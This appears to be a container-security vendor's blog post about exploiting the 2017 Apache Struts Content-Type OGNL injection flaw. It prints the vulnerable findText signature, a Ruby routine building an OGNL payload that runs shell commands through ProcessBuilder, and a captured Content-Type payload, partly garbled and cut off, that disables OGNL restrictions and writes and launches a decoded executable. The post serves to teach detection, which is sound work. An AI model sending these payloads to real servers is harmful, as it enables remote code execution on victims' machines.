There has never been a better time to be a DevOps engineer. Compared to traditional web stacks, containerization has dramatically streamlined the task of deploying web services such as databases, key/value stores, and servers. Furthermore, container orchestration tools, like Google’s Kubernetes and Docker Swarm, enable organizations to automate the deployment and management of these containerized applications. But the tools that make life easier and more efficient for engineers can also be a gift to an attacker.

Regardless of the initial exploitation vector, an attacker’s first objective is often to gain host-level access to a target system. With that access, an attacker can leverage the system for a variety of malicious purposes – to exfiltrate data, to maintain a point of presence, to move to higher-value assets in a network, etc. As containerized applications become the new standard for modern web development, DevOps and security teams still find themselves in a precarious position: attackers are creative, and where there’s a will, there’s a way.

In this blog, we demonstrate exploitation techniques that can be used to measure the efficacy of a container security product. We explore the exploitation of a vulnerability in a widely-used web server, and show how containerization of this application minimizes the attack surface. Despite mitigation of host-level access via containerization, we also demonstrate how a misconfigured container orchestrator can be used to give an attacker the “keys to the kingdom” and enable full control of a production container cluster. At each stage, we outline the indicators of compromise (IOCs) that can be used to detect these attacks and show that security must be embedded at all levels of the software development lifecycle – including runtime detection.

The Vulnerable Application

Apache Struts

Apache Struts is a popular Java framework for building web applications because it is built on the well known JVM platform and supports a wide variety of useful plugins and extensions. In March 2017, a vulnerability was disclosed in the Apache Struts parser that allowed an attacker to remotely execute code on a victim server. Many security researchers have explored and discussed this vulnerability, partly because it was a particularly bad bug in a mainstream framework, but also because it caused colossal data loss at Equifax. Struts is a popular web application to run in a containerized environment and parser code is a common location to find vulnerabilities.

Apache Struts application version 2.3.x before 2.3.32 and 2.5.x before had an issue with Jakarta MultiParser’s exception handling code. If an exception is generated during Content-Type parsing, it tries to include the invalid data as part of the error message. But, instead of displaying the error message, it parses and executes the Object Graph Navigation Library (OGNL) expression.

Here’s the relevant code that contains the vulnerability and the fix:


The bug is in findText, which — according to the documentation — finds a localized text message for a given key (i.e. aTextName), but evaluates both the key and the message.


public static String findText(Class aClass,
String aTextName,
Locale locale,
String defaultMessage,
Object[] args)

If a message is found, anything within ${…} will be treated as an OGNL expression and evaluated as such. An attacker can exploit this vulnerability by sending crafted HTTP requests with a malicious payload as shown below.

def **execute_command**(cmd)
ognl = ''
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|

# You can add headers to the server's response for debugging with this:
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('decoded',#cmd)).|

ognl << %q|(#os=@java.lang.System@getProperty('')).|
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start())|

send_struts_request(ognl, extra_header: cmd)




As shown in figure 2 below, when we examine the HTTP request using Wireshark, the content type contains the payload that will ultimately execute a command on the victim’s machine.


%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context\['com.opensymphony.xwork2.ActionContext.container'\]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('X-RnXx')).('KLny','.exe')).(#f.setExecutable(true)).(#f.deleteOnExit()).(#fos=new sun.misc.BASE64Decoder().decodeBuffer(#data)).(#fos.write(#d)).(#fos.close()).(#p=new java.lang.ProcessBuilder(


How-tos, Security, Containers, Docker, Images, StackRox, devsecops

< Back to the blog